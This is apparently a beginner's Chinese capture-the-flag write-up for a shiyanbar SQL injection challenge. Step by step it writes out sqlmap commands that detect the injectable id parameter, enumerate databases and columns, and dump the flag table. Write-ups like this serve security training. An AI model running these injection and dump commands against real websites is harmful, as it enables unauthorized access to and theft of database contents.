1. 程式人生 > >實驗吧 ctf 簡單的sql注入3

實驗吧 ctf 簡單的sql注入3

解題連結: http://ctf5.shiyanbar.com/web/index_3.php

id=1為注入點 http://ctf5.shiyanbar.com/web/index_3.php?id=1然後就用sqlmap來跑一下 結果能出答案 我也是抱著嘗試的態度 哈哈

首先檢測注入點 sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_3.php?id=1”

然後再獲取資料庫sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs 下面出現了幾個資料庫

然後出現了兩個資料庫 接著報資料庫裡面的表資訊sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs -D web1 -T flag --columns
接著就是表名內的內容了sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs -D web1 -T flag -C flag --dump好了 這就是小白用sqlmap神器的解題思路